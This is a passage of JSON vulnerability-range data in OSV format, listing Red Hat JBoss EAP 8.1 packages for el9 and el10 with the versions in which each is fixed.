Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jackson-jaxrs-providers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jackson-module-jakarta-xmlbind-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jackson-modules-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jackson-modules-java8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jakarta-xml-bind-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.5-1.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jaxb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jaxb-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jaxb-jxc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jaxb-runtime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jaxb-xjc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jaxbintros","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.1.0-1.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jboss-logging","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.6.3-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jboss-remoting","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.0.31-1.SP2_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jbossws-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.0-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jbossws-common-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jbossws-cxf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.0-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jbossws-jaxws-undertow-httpspi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.1-1.Final_redhat_00001.1el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jbossws-spi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.0-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jsf-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.11-2.SP1_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-log4j","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.25.4-1.redhat_00003.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-neethi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.2-1.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-transport-native-epoll-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-nimbus-jose-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:9.37.4-1.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-parsson","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.9-1.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-relaxng-datatype","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-rngom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-saaj-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.6-1.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-slf4j","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.0.18-1.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-slf4j-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.0.18-1.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-txw2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-undertow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.3.26-2.SP3_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-wildfly","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.8-9.GA_redhat_00006.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-wildfly-elytron","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.11-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-wildfly-elytron-tool","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.11-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-wildfly-java-jdk17","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.8-9.GA_redhat_00006.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-wildfly-java-jdk21","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.8-9.GA_redhat_00006.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-wildfly-javadocs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.1-12.GA_redhat_00048.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-wildfly-modules","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.8-9.GA_redhat_00006.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-ws-commons-XmlSchema","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.3.2-1.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-xml-security","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.6-1.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-xsom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-activemq-artemis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-activemq-artemis-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-activemq-artemis-commons","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-activemq-artemis-core-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-activemq-artemis-dto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-activemq-artemis-hornetq-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-activemq-artemis-hqclient-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-activemq-artemis-jakarta-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-activemq-artemis-jakarta-ra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-activemq-artemis-jakarta-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-activemq-artemis-jakarta-service-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-activemq-artemis-jdbc-store","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-activemq-artemis-journal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-activemq-artemis-selector","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-activemq-artemis-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-apache-cxf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.7-1.SP1_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-apache-cxf-rt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.7-1.SP1_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-apache-cxf-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.7-1.SP1_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-apache-cxf-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.7-1.SP1_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-artemis-wildfly-integration","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.0.5-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-bouncycastle","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-bouncycastle-jmail","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-bouncycastle-pg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-bouncycastle-pkix","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-bouncycastle-prov","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-bouncycastle-util","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-codemodel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-cryptacular","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.2.7-1.redhat_00002.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-eap-product-conf-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:801.8.0-1.GA_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-eap-product-conf-wildfly-ee-feature-pack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:801.8.0-1.GA_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-hibernate","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.6.54-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-hibernate-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.6.54-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-hibernate-envers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.6.54-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-httpcomponents-asyncclient","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.5-5.redhat_00008.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-ironjacamar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-ironjacamar-common-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-ironjacamar-common-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-ironjacamar-common-spi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-ironjacamar-core-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-ironjacamar-core-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-ironjacamar-deployers-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-ironjacamar-jdbc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-ironjacamar-validator","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jackson-dataformat-yaml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jackson-dataformats-text","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jackson-datatype-jdk8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jackson-datatype-jsr310","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jackson-jaxrs-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jackson-jaxrs-json-provider","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jackson-jaxrs-providers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jackson-module-jakarta-xmlbind-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red 